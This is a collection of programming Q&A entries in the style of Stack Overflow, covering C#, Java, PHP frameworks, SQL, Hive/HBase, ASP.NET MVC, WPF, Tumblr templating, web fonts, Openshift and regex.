710969	0	 <p>This may be more than you need, here's the code for the class I use:</p> <pre><code>public class ControlColorAnimator { private const int INTERVAL = 100; private readonly decimal _alphaIncrement; private readonly decimal _blueIncrement; private readonly Color _endColor; private readonly decimal _greenIncrement; private readonly int _iterations; private readonly decimal _redIncrement; private readonly Color _startColor; private decimal _currentAlpha; private decimal _currentBlueValue; private decimal _currentGreenValue; private decimal _currentRedValue; private Timer _timer; public ControlColorAnimator(TimeSpan duration, Color startColor, Color endColor) { _startColor = startColor; _endColor = endColor; resetColor(); _iterations = duration.Milliseconds / INTERVAL; _alphaIncrement = ((decimal) startColor.A - endColor.A) / _iterations; _redIncrement = ((decimal) startColor.R - endColor.R) / _iterations; _greenIncrement = ((decimal) startColor.G - endColor.G) / _iterations; _blueIncrement = ((decimal) startColor.B - endColor.B) / _iterations; } public Color CurrentColor { get { int alpha = Convert.ToInt32(_currentAlpha); int red = Convert.ToInt32(_currentRedValue); int green = Convert.ToInt32(_currentGreenValue); int blue = Convert.ToInt32(_currentBlueValue); return Color.FromArgb(alpha, red, green, blue); } } public event EventHandler&lt;DataEventArgs&lt;Color&gt;&gt; ColorChanged; public void Go() { disposeOfTheTimer(); OnColorChanged(_startColor); resetColor(); int currentIteration = 0; _timer = new Timer(delegate { if (currentIteration++ &gt;= _iterations) { Stop(); return; } _currentAlpha -= _alphaIncrement; _currentRedValue -= _redIncrement; _currentGreenValue -= _greenIncrement; _currentBlueValue -= _blueIncrement; OnColorChanged(CurrentColor); }, null, TimeSpan.FromMilliseconds(INTERVAL), TimeSpan.FromMilliseconds(INTERVAL)); } public void Stop() { disposeOfTheTimer(); OnColorChanged(_endColor); } protected virtual void OnColorChanged(Color color) { if (ColorChanged == null) return; ColorChanged(this, color); } private void disposeOfTheTimer() { Timer timer = _timer; _timer = null; if (timer != null) timer.Dispose(); } private void resetColor() { _currentAlpha = _startColor.A; _currentRedValue = _startColor.R; _currentGreenValue = _startColor.G; _currentBlueValue = _startColor.B; } } </code></pre> <p>This uses <code>DataEventArgs&lt;T&gt;</code> (shown below)</p> <pre><code>/// &lt;summary&gt; /// Generic implementation of &lt;see cref="EventArgs"/&gt; that allows for a data element to be passed. /// &lt;/summary&gt; /// &lt;typeparam name="T"&gt;The type of data to contain.&lt;/typeparam&gt; [DebuggerDisplay("{Data}")] public class DataEventArgs&lt;T&gt; : EventArgs { private T _data; /// &lt;summary&gt; /// Constructs a &lt;see cref="DataEventArgs{T}"/&gt;. /// &lt;/summary&gt; /// &lt;param name="data"&gt;The data to contain in the &lt;see cref="DataEventArgs{T}"/&gt;&lt;/param&gt; [DebuggerHidden] public DataEventArgs(T data) { _data = data; } /// &lt;summary&gt; /// Gets the data for this &lt;see cref="DataEventArgs{T}"/&gt;. /// &lt;/summary&gt; public virtual T Data { [DebuggerHidden] get { return _data; } [DebuggerHidden] protected set { _data = value; } } [DebuggerHidden] public static implicit operator DataEventArgs&lt;T&gt;(T data) { return new DataEventArgs&lt;T&gt;(data); } [DebuggerHidden] public static implicit operator T(DataEventArgs&lt;T&gt; e) { return e.Data; } } </code></pre> <p>Use in your form like this:</p> <pre><code>private ControlColorAnimator _animator; private void runColorLoop() { endCurrentAnimation(); startNewAnimation(); } private void endCurrentAnimation() { ControlColorAnimator animator = _animator; _animator = null; if (animator != null) { animator.ColorChanged -= _animator_ColorChanged; animator.Stop(); } } private void startNewAnimation() { _animator = new ControlColorAnimator(TimeSpan.FromSeconds(.6), Color.Yellow, BackColor); _animator.ColorChanged += _animator_ColorChanged; _animator.Go(); } private void _animator_ColorChanged(object sender, DataEventArgs&lt;Color&gt; e) { invokeOnFormThread(delegate { setColor(e); }); } private void setColor(Color color) { // code to set color of the controls goes here } private void invokeOnFormThread(MethodInvoker method) { if (IsHandleCreated) Invoke(method); else method(); } </code></pre>
39151158	0	Most efficient way to evaluate cards for TexasHoldEm game? <p>So I am in the process of making a texas holdem game. I am stuck on how to evualte the hands to see what type of scoring each player has (Two Pair, Flush etc) </p> <p>EDIT: I only need to deal 5 cards to each player and compare those 5 cards. Its not a complete texas holdem game.</p> <p>Any tips on how to do that? (I know this code is really sloppy, sorry!)</p> <pre><code>public class Main { public static void main(String[] args) { //CDHS run(); } public static void run() { List&lt;Card&gt; deck = new ArrayList(); Card C1 = new Card("1C"); Card C2 = new Card("2C"); Card C3 = new Card("3C"); Card C4 = new Card("4C"); Card C5 = new Card("5C"); Card C6 = new Card("6C"); Card C7 = new Card("7C"); Card C8 = new Card("8C"); Card C9 = new Card("9C"); Card CT = new Card("TC"); Card CJ = new Card("JC"); Card CQ = new Card("QC"); Card CK = new Card("KC"); Card CA = new Card("AC"); Card D1 = new Card("1D"); Card D2 = new Card("2D"); Card D3 = new Card("3D"); Card D4 = new Card("4D"); Card D5 = new Card("5D"); Card D6 = new Card("6D"); Card D7 = new Card("7D"); Card D8 = new Card("8D"); Card D9 = new Card("9D"); Card DT = new Card("TD"); Card DJ = new Card("JD"); Card DQ = new Card("QD"); Card DK = new Card("KD"); Card DA = new Card("AD"); Card H1 = new Card("1H"); Card H2 = new Card("2H"); Card H3 = new Card("3H"); Card H4 = new Card("4H"); Card H5 = new Card("5H"); Card H6 = new Card("6H"); Card H7 = new Card("7H"); Card H8 = new Card("8H"); Card H9 = new Card("9H"); Card HT = new Card("TH"); Card HJ = new Card("JH"); Card HQ = new Card("QH"); Card HK = new Card("KH"); Card HA = new Card("AH"); Card S1 = new Card("1S"); Card S2 = new Card("2S"); Card S3 = new Card("3S"); Card S4 = new Card("4S"); Card S5 = new Card("5S"); Card S6 = new Card("6S"); Card S7 = new Card("7S"); Card S8 = new Card("8S"); Card S9 = new Card("9S"); Card ST = new Card("TS"); Card SJ = new Card("JS"); Card SQ = new Card("QS"); Card SK = new Card("KS"); Card SA = new Card("AS"); deck.add(C1); deck.add(C2); deck.add(C3); deck.add(C4); deck.add(C5); deck.add(C6); deck.add(C7); deck.add(C8); deck.add(C9); deck.add(CT); deck.add(CJ); deck.add(CQ); deck.add(CK); deck.add(CA); deck.add(D1); deck.add(D2); deck.add(D3); deck.add(D4); deck.add(D5); deck.add(D6); deck.add(D6); deck.add(D7); deck.add(D8); deck.add(D9); deck.add(DT); deck.add(DJ); deck.add(DQ); deck.add(DK); deck.add(DA); deck.add(H1); deck.add(H2); deck.add(H3); deck.add(H4); deck.add(H5); deck.add(H6); deck.add(H7); deck.add(H8); deck.add(H9); deck.add(HT); deck.add(HJ); deck.add(HQ); deck.add(HK); deck.add(HA); deck.add(S1); deck.add(S2); deck.add(S3); deck.add(S4); deck.add(S5); deck.add(S6); deck.add(S7); deck.add(S8); deck.add(S9); deck.add(ST); deck.add(SJ); deck.add(SQ); deck.add(SK); deck.add(SA); } Collections.shuffle(deck); Player black = new Player(); Player white = new Player(); Card temp1 = deck.get(0); String temp2 = temp1.getValue(); black.setCard1(temp2); temp1 = deck.get(1); temp2 = temp1.getValue(); white.setCard1(temp2); temp1 = deck.get(2); temp2 = temp1.getValue(); black.setCard2(temp2); temp1 = deck.get(3); temp2 = temp1.getValue(); white.setCard2(temp2); temp1 = deck.get(4); temp2 = temp1.getValue(); black.setCard3(temp2); temp1 = deck.get(5); temp2 = temp1.getValue(); white.setCard3(temp2); temp1 = deck.get(6); temp2 = temp1.getValue(); black.setCard4(temp2); temp1 = deck.get(7); temp2 = temp1.getValue(); white.setCard4(temp2); temp1 = deck.get(8); temp2 = temp1.getValue(); black.setCard5(temp2); temp1 = deck.get(9); temp2 = temp1.getValue(); white.setCard5(temp2); System.out.println("Black: " + black.getCard1() + " " + black.getCard2() + " " + black.getCard3() + " " + black.getCard4() + " " + black.getCard5() + " White: " + white.getCard1() + " " + white.getCard2() + " " + white.getCard3() + " " + white.getCard4() + " " + white.getCard5()); int score; switch(black.getCard1() + black.getCard2() + black.getCard3() + black.getCard4() + black.getCard5()) { } } } </code></pre> <p>And heres the card class</p> <pre><code>public class Card { private String value; public Card(String value) { this.value = value; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } } </code></pre> <p>And Player class</p> <pre><code>public class Player { private String name; private String card1; private String card2; private String card3; private String card4; private String card5; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getCard1() { return card1; } public String getCard2() { return card2; } public String getCard3() { return card3; } public String getCard4() { return card4; } public String getCard5() { return card5; } public void setCard1(String card1) { this.card1 = card1; } public void setCard2(String card2) { this.card2 = card2; } public void setCard3(String card3) { this.card3 = card3; } public void setCard4(String card4) { this.card4 = card4; } public void setCard5(String card5) { this.card5 = card5; } } </code></pre>
16133289	0	 <p>Try updating the components code in your appController to add the authenticate values to the Auth array like this:</p> <pre><code>public $components = array( 'Session', 'DebugKit.Toolbar', 'Auth' =&gt; array( 'allow' =&gt; array('login','logout'), 'loginAction' =&gt; array('controller' =&gt; 'users', 'action' =&gt; 'login'), 'loginRedirect' =&gt; array('controller' =&gt; 'dashboard', 'action' =&gt; 'index'), 'authorize' =&gt; 'Controller', 'authenticate' =&gt; array( 'Form' =&gt; array( 'fields' =&gt; array('username' =&gt; 'email') ) ) ) ); </code></pre>
13305111	0	 <p>Try to include the JQuery js before your custom Js file on html: </p> <pre><code>&lt;script src="../../Scripts/jquery-1.8.2.min.js" type="text/javascript" &gt;&lt;/script&gt; &lt;script src="../../Scripts/___your js___ .js" type="text/javascript"&gt;&lt;/script&gt; </code></pre>
35019825	0	error while converting svg to jpg file in eclipse using java <p>I am trying to convert an svg string into jpg file using batik in JAVA. I am able to do that successfully in netbeans IDE 8.0.2. But when I use the same code in eclipse Mars Release (4.5.0), it throws error and creates jpg file with 0byte size. Can someone please help what's the problem here.</p> <p>I have stored this SVG string in image.txt file. And I am reading this file and storing it in string in the code.</p> <p>The input svg string is:</p> <pre><code>&lt;svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="v-2" width="1200px" height="1200px"&gt;&lt;g id="v-3" class="viewport" transform="scale(1,1)"&gt;&lt;g id="j_1" model-id="202c3451-5c59-4543-81a9-0fdbedebc2ca" class="element basic Rect" fill="#ffffff" stroke="none" transform="translate(186,36)"&gt;&lt;g class="rotatable" id="v-5" transform="rotate(0,60,15)"&gt;&lt;g class="scalable" id="v-6" transform="scale(1.2,0.5)"&gt;&lt;rect id="v-7" fill="#00FFFF" stroke="#000000" width="100" height="60"/&gt;&lt;/g&gt;&lt;text id="v-8" y="0.8em" display="null" xml:space="preserve" fill="#000000" font-size="14" text-anchor="middle" font-family="Arial, helvetica, sans-serif" transform="translate(60,7)"&gt;&lt;tspan dy="0em" x="0" id="v-10" class="v-line"&gt;e1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g id="j_2" model-id="1f786afb-0a69-4a84-a737-cec94aede7c2" class="element basic Ellipse" fill="#ffffff" stroke="none" transform="translate(381,207)"&gt;&lt;g class="rotatable" id="v-11" transform="rotate(0,60,15)"&gt;&lt;g class="scalable" id="v-12" transform="scale(2,0.75)"&gt;&lt;ellipse id="v-13" fill="#FFC299" stroke="#000000" rx="30" ry="20" cx="30" cy="20"/&gt;&lt;/g&gt;&lt;text id="v-14" y="0.8em" display="null" xml:space="preserve" font-size="14" text-anchor="middle" fill="#000000" font-family="Arial, helvetica, sans-serif" transform="translate(60,7)"&gt;&lt;tspan dy="0em" x="0" id="v-16" class="v-line"&gt;c1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g id="j_3" model-id="cf6f4dfa-a4ed-4f65-911b-83de353c6755" class="link"&gt;&lt;path class="connection" stroke="black" id="v-17" d="M 416 200 263 66"/&gt;&lt;path class="marker-source" fill="black" stroke="black" id="v-18" d="M 10 0 L 0 5 L 10 10 z" transform="translate(420.70581560773115,210.7614383498162) scale(1,1) rotate(-138.7888946533203)"/&gt;&lt;path class="marker-target" fill="black" stroke="black" id="v-19" transform="translate(263,66) scale(1,1) rotate(41.21112060546878)"/&gt;&lt;path class="connection-wrap" id="v-20" d="M 416 200 263 66"/&gt;&lt;g class="labels" id="v-21"&gt;&lt;g class="label" id="v-29" label-idx="0" transform="translate(339.5, 133)"&gt;&lt;rect fill="white" rx="3" ry="3" x="-42.21875" y="-8.796875" width="84.4375" height="16"/&gt;&lt;text text-anchor="middle" font-size="14" id="v-30" y="0.8em" display="null" xml:space="preserve" transform="translate(0,-8)"&gt;&lt;tspan dy="0em" x="0" id="v-31" class="v-line"&gt;hasConstraint&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class="marker-vertices" id="v-22"/&gt;&lt;g class="marker-arrowheads" id="v-23"&gt;&lt;g class="marker-arrowhead-group marker-arrowhead-group-source" id="v-26" transform="translate(415.4351510976791,216.77972750249086) scale(1,1) rotate(-138.7888946533203)"&gt;&lt;path class="marker-arrowhead" end="source" d="M 26 0 L 0 13 L 26 26 z"/&gt;&lt;/g&gt;&lt;g class="marker-arrowhead-group marker-arrowhead-group-target" id="v-27" transform="translate(271.56485378778143,56.22026454457441) scale(1,1) rotate(41.21112060546878)"&gt;&lt;path class="marker-arrowhead" end="target" d="M 26 0 L 0 13 L 26 26 z"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class="link-tools" id="v-24"&gt;&lt;g class="link-tool" id="v-25" transform="translate(385.90911865234375, 173.64590454101562) "&gt;&lt;g class="tool-remove" event="remove"&gt;&lt;circle r="11"/&gt;&lt;path transform="scale(.8) translate(-16, -16)" d="M24.778,21.419 19.276,15.917 24.777,10.415 21.949,7.585 16.447,13.087 10.945,7.585 8.117,10.415 13.618,15.917 8.116,21.419 10.946,24.248 16.447,18.746 21.948,24.248z"/&gt;&lt;title&gt;Remove link.&lt;/title&gt;&lt;/g&gt;&lt;g class="tool-options" event="link:options"&gt;&lt;circle r="11" transform="translate(25)"/&gt;&lt;path fill="white" transform="scale(.55) translate(29, -16)" d="M31.229,17.736c0.064-0.571,0.104-1.148,0.104-1.736s-0.04-1.166-0.104-1.737l-4.377-1.557c-0.218-0.716-0.504-1.401-0.851-2.05l1.993-4.192c-0.725-0.91-1.549-1.734-2.458-2.459l-4.193,1.994c-0.647-0.347-1.334-0.632-2.049-0.849l-1.558-4.378C17.165,0.708,16.588,0.667,16,0.667s-1.166,0.041-1.737,0.105L12.707,5.15c-0.716,0.217-1.401,0.502-2.05,0.849L6.464,4.005C5.554,4.73,4.73,5.554,4.005,6.464l1.994,4.192c-0.347,0.648-0.632,1.334-0.849,2.05l-4.378,1.557C0.708,14.834,0.667,15.412,0.667,16s0.041,1.165,0.105,1.736l4.378,1.558c0.217,0.715,0.502,1.401,0.849,2.049l-1.994,4.193c0.725,0.909,1.549,1.733,2.459,2.458l4.192-1.993c0.648,0.347,1.334,0.633,2.05,0.851l1.557,4.377c0.571,0.064,1.148,0.104,1.737,0.104c0.588,0,1.165-0.04,1.736-0.104l1.558-4.377c0.715-0.218,1.399-0.504,2.049-0.851l4.193,1.993c0.909-0.725,1.733-1.549,2.458-2.458l-1.993-4.193c0.347-0.647,0.633-1.334,0.851-2.049L31.229,17.736zM16,20.871c-2.69,0-4.872-2.182-4.872-4.871c0-2.69,2.182-4.872,4.872-4.872c2.689,0,4.871,2.182,4.871,4.872C20.871,18.689,18.689,20.871,16,20.871z"/&gt;&lt;title&gt;Link options.&lt;/title&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="v-4"/&gt;&lt;/svg&gt; </code></pre> <p>The code used in both the IDEs:</p> <pre><code>public static void main(String[] args) { OutputStream ostream = null; for(int i=0; i&lt;1; i++){ try { // Create a JPEG transcoder String svgStr = getImageString(); File svgFile = File.createTempFile("tempImage", ".svg"); FileOutputStream fop = new FileOutputStream(svgFile); byte[] contentInBytes = svgStr.getBytes(); fop.write(contentInBytes); fop.flush(); fop.close(); JPEGTranscoder t = new JPEGTranscoder(); // Set the transcoding hints. // Create the transcoder input. FileInputStream in = new FileInputStream(svgFile); TranscoderInput input = new TranscoderInput(in); // Create the transcoder output. ostream = new FileOutputStream("D://tempImage.jpg"); TranscoderOutput output = new TranscoderOutput(ostream); // Save the image. t.transcode(input, output); // Flush and close the stream. ostream.flush(); ostream.close(); } catch (FileNotFoundException ex) { Logger.getLogger(Class1.class.getName()).log(Level.SEVERE, null, ex); } catch (IOException ex) { Logger.getLogger(Class1.class.getName()).log(Level.SEVERE, null, ex); } catch (TranscoderException ex) { Logger.getLogger(Class1.class.getName()).log(Level.SEVERE, null, ex); } finally { try { ostream.close(); } catch (IOException ex) { Logger.getLogger(Class1.class.getName()).log(Level.SEVERE, null, ex); } } } } private static String getImageString(){ String svgString = new String(); try { BufferedReader br = new BufferedReader(new FileReader("D://image.txt")); svgString = br.readLine(); br.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return svgString; } </code></pre> <p>The error message that I get in eclipse is:</p> <pre><code>Original message: The "null" identifier is not a valid value for the "display" property. org.apache.batik.transcoder.TranscoderException: null Enclosed Exception: null at org.apache.batik.transcoder.image.ImageTranscoder.transcode(ImageTranscoder.java:132) at org.apache.batik.transcoder.XMLAbstractTranscoder.transcode(XMLAbstractTranscoder.java:142) at org.apache.batik.transcoder.SVGAbstractTranscoder.transcode(SVGAbstractTranscoder.java:156) at org.infosys.kbe.restapi.resources.ModelsResource.getPngFile(ModelsResource.java:866) at org.infosys.kbe.restapi.resources.ModelsResource.addPageforEachDiagram(ModelsResource.java:818) at org.infosys.kbe.restapi.resources.ModelsResource.lambda$0(ModelsResource.java:719) at java.util.ArrayList.forEach(Unknown Source) at org.infosys.kbe.restapi.resources.ModelsResource.createPDFusingPDFBox(ModelsResource.java:715) at org.infosys.kbe.restapi.resources.ModelsResource.generatePDFforModelWithId(ModelsResource.java:586) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.glassfish.jersey.server.model.internal.ResourceMethodInvocationHandlerFactory$1.invoke(ResourceMethodInvocationHandlerFactory.java:81) at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher$1.run(AbstractJavaResourceMethodDispatcher.java:144) at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.invoke(AbstractJavaResourceMethodDispatcher.java:161) at org.glassfish.jersey.server.model.internal.JavaResourceMethodDispatcherProvider$VoidOutInvoker.doDispatch(JavaResourceMethodDispatcherProvider.java:143) at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.dispatch(AbstractJavaResourceMethodDispatcher.java:99) at org.glassfish.jersey.server.model.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:389) at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:347) at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:102) at org.glassfish.jersey.server.ServerRuntime$2.run(ServerRuntime.java:309) at org.glassfish.jersey.internal.Errors$1.call(Errors.java:271) at org.glassfish.jersey.internal.Errors$1.call(Errors.java:267) at org.glassfish.jersey.internal.Errors.process(Errors.java:315) at org.glassfish.jersey.internal.Errors.process(Errors.java:297) at org.glassfish.jersey.internal.Errors.process(Errors.java:267) at org.glassfish.jersey.process.internal.RequestScope.runInScope(RequestScope.java:317) at org.glassfish.jersey.server.ServerRuntime.process(ServerRuntime.java:292) at org.glassfish.jersey.server.ApplicationHandler.handle(ApplicationHandler.java:1139) at org.glassfish.jersey.servlet.WebComponent.service(WebComponent.java:460) at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:386) at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:334) at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:221) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:291) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:239) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.infosys.kbe.restapi.CORSFilter.doFilter(CORSFilter.java:27) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:239) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:106) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:502) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:142) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:617) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:518) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1091) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:668) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1521) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1478) at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Unknown Source) </code></pre>
39150757	0	How to show data by id in laravel 5.2 <p>I want to show data by id. If id=1 its need to show only id=1 data and if id 2 its should show only id=2 all data. My controller method:</p> <pre><code>-&gt;with('classroom',classroomModel::find($id)-&gt;first()); </code></pre> <p>Here is my view:</p> <pre><code>&lt;li&gt;Class code--&gt;{{$classroom-&gt;class_code}}&lt;/li&gt; &lt;li&gt;Subject--&gt;{{$classroom-&gt;subject_name}}&lt;/li&gt; &lt;li&gt;Section--&gt;{{$classroom-&gt;section}}&lt;/li&gt; </code></pre> <p>now it is only show id=1 data. If i view id=2 data then it's show id=1 data. What should to do in my controller?</p>
37074286	0	 <p>Try this if only 'ABC' an 'XYZ' types exist in the table:</p> <pre><code>SELECT number as id, MAX(CASE WHEN Type = 'ABC' THEN Date ELSE NULL END) as T1, MAX('ABC') as Type_1, MAX(CASE WHEN Type = 'XYZ' THEN Date ELSE NULL END) as T2, MAX('XYZ') as Type_2 FROM T GROUP BY Number </code></pre>
13214694	0	Setting up git branches <p>Hi I have setup git on my local machine.</p> <p>So I can now fully develop locally and push my files to master origin.</p> <p>but I'd like to be able to commit my files from local to a stage folder on remote, and then from there create a branch with all the files that goes to production. any ideas on how i can establish this ? I am very new to git. (just learned hot to commit, that new lol)</p>
6289547	0	 <p>Sorry I did not replay earlier. Quickly, I'll would like to present one way of catching this for your consideration. For simplicity, I'll just concentrate on caching your outputs using Output frontend. </p> <p>In you application.ini you can setup your catching as follows: </p> <pre><code>resources.cachemanager.myviewcache.frontend.name = Output resources.cachemanager.myviewcache.frontend.customFrontendNaming = false resources.cachemanager.myviewcache.frontend.options.lifetime = 7200 resources.cachemanager.myviewcache.frontend.options.caching = true resources.cachemanager.myviewcache.frontend.options.automatic_serialization = true resources.cachemanager.myviewcache.backend.name = Apc </code></pre> <p>Note, that I use Apc as a backend. You may use file backend if you don't have or don't want Apc.</p> <p>With this, I would cache your posts and comments separately. For example, in <code>_posts.phtml</code> you could do something similar to the following:</p> <pre><code>// first cache an output related to the body of your post with key being associated // with your post. if (!($this-&gt;viewCache()-&gt;start('post_' . (string) $this-&gt;object-&gt;post_id))) { echo $this-&gt;object-&gt;title; echo $this-&gt;object-&gt;text; } // now I cache an output of a comments associated with a give post if (!($this-&gt;viewCache()-&gt;start('post_comments_' . (string) $this-&gt;object-&gt;post_id))) { echo $this-&gt;partialLoop('_comments.phtml',$this-&gt;object-&gt;getComments()); } </code></pre> <p>In this example, viewCache() view helper is as follows:</p> <pre><code>class My_View_Helper_ViewCache extends Zend_View_Helper_Abstract { /** * * @return Zend_Cache_Frontend_Output */ public function viewCache() { return Zend_Registry::get('outputCache'); } } </code></pre> <p>Whereas I set <code>outputCache</code> into registry in the Bootstrap.php:</p> <pre><code>protected function _initPutChachesIntoRegistry() { $this-&gt;bootstrap('cachemanager'); $cacheManager = $this-&gt;getResource('cachemanager'); Zend_Registry::set('outputCache', $cacheManager-&gt;getCache('myviewcache')); } </code></pre> <p>Notice that caches are associated with keys which in turn relate to a given post and its comments. With this, when you get a new comment, you just reset a cache related to the given post. For example, in an action, you can remove comment cache for a post with $post_id=5 as follows:</p> <pre><code>$this-&gt;view-&gt;viewCache()-&gt;remove('post_comments_' . $post_id); </code></pre> <p>Hope that this will help you or at least give you some ideas how to make it. </p>
16691937	0	How to insert on-fly query data to HBase using Hive <p>I am new in Hbase and Hive. Can someone please explain me how to insert data into Hbase using Hive?</p> <p>I found a lot of information regarding to this, but all of them are talking about exactly the same thing. In other words, they are inserting into Hbase table from another already existing table.</p> <p>In my case it is different. I have an application which reads some data from users and sends to the server and incoming data needs to be written in Hbase table. How can I do that?</p> <p>Here is my table:</p> <pre><code>CREATE TABLE hive_table (key INT, username STRING, password STRING, address STRING) STORED BY 'org.apache.hadoop.hive.hbase.HBaseStorageHandler' WITH SERDEPROPERTIES('hbase.columns.mapping'=':key, user:val') TBLPROPERTIES('hbase.table.name'='hbase_table'); </code></pre> <p>How can I insert following record to my Hbase table which is hbase_table using Hive:</p> <p><code>key=123, username='something', password='pass', address='somewhere';</code></p> <p>Thanks a lot!</p>
3177373	0	ASP.NET MVC2, How to Add Metadata Attributes and Control the order of properties displayed in the View <p>In ASP.NET MVC2, I have two ViewModels with Parent-Child relationship as below.</p> <p>Parent ViewModel:</p> <pre><code>public class PersonViewModel { [Required] public int ID{get;set;} [Required] [StringLength(50)] public string Name{get;set;} } </code></pre> <p>Child ViewModel:</p> <pre><code>public class EmployeeViewModel:PersonViewModel { [Required] [StringLength(50)] public string Title{get;set;} } </code></pre> <p>I have two questions with this setting.</p> <ol> <li><p>How can I add Metadata Attributes to the properties in the parent ViewModel from the child ViewModel?</p></li> <li><p>When displayed in the View using Html.DisplayForModel(), It seems the properties in the parent ViewModel always display after those of the child ViewModel. how can I control the order of properties displayed? </p></li> </ol>
20065155	0	 <p>In setcookie function you can only set the cookie name. If you want to get that cookie value then you can take it via the <code>$_COOKIE['name']</code></p> <p>Be sure that when you create cookie you need to set domain name in setcookie function as well.</p>
27946612	0	 <p>Try</p> <pre><code>&lt;Application.Resources&gt; &lt;ResourceDictionary&gt; &lt;ResourceDictionary.MergedDictionaries&gt; &lt;ResourceDictionary Source ="StyleTemplates.xaml"&gt; &lt;/ResourceDictionary&gt; &lt;/ResourceDictionary.MergedDictionaries&gt; &lt;/ResourceDictionary&gt; &lt;/Application.Resources&gt; </code></pre>
5455456	0	 <p>Yes. By using the attr method.</p> <pre><code>$('.NotSoRoundedCorners').attr('class', 'RoundedCorners'); </code></pre>
28844201	0	 <p>Try this immediately under <code>{block:Posts}</code>, or before <code>{/block:Posts}</code> depending on where you want the signifier to be.</p> <pre><code>{block:HasTags} {block:Tags} &lt;script type='text/javascript'&gt; var {Tag} = '{Tag}'; if ({Tag} == 'movies') {document.write('Movies blah blah');} &lt;/script&gt; {/block:Tags} {/block:HasTags} </code></pre> <p>This should display the text "Movies blah blah" wherever you put the code on posts you tag with the tag "movies" (case sensitive).</p> <p>Simply repeat for other tags.</p>
10403767	0	 <p>Other than a <a href="http://www.ampsoft.net/webdesign-l/WindowsMacFonts.html" rel="nofollow">very short list</a>, you should not rely on everyone having the various font families on their computers.</p> <p>Instead, try out <a href="https://www.google.com/fonts/" rel="nofollow">Google WebFonts</a>. In fact, use the search box on the left to find their Garamond equivalent. Works in all browsers (including older IE!) and looks great everywhere.</p> <p>EDIT</p> <p>Regarding your additional question, yes, the browser will look for the fonts in the order that you specify them, so putting "Garamond" before "EB Garamond" will show Garamond if available in the user's computer.</p>
22816514	1	Openshift build script not setting environment variables <p>I'm attempting to deploy some app using openshift, but I need to configure a proxy to allow the cartridge to download some libraries from pip.</p> <p>However, attempting to export the environment variables needed in the pre-build hook (or any other hook in action_hooks) just doesn't stick.</p> <p>How can I set arbitrary environment variables in an openshift cartridge?</p>
21958721	0	 <p>You could probably use punctuation or word boundry. </p> <p><strong><em>note</em> -</strong> Have to be carefull when specifying something like this <code>\byes\.\b</code><br> on the left hand side is <code>\.</code> a non-word, therefore to match on the right hand side <code>\b</code><br> there needs to be a word <code>\w</code> or it won't match. </p> <p>So, don't do that. </p> <p>This might work. </p> <p><code>\b(yes(?:\p{Punct}|\b))</code> </p> <p>And with a slight modification, you can exclude certain punctuation like this.<br> This captures all non-quote punctuation, that will be deleted as part of the replacement, or just matches a word boundry. </p> <p><code>\b(yes(?:[^\P{Punct}'"]|\b))</code> </p> <p>Another alternative is to include just the punctuation you want. </p> <p><code>\b(yes(?:[.,+*?-]|\b))</code> </p>
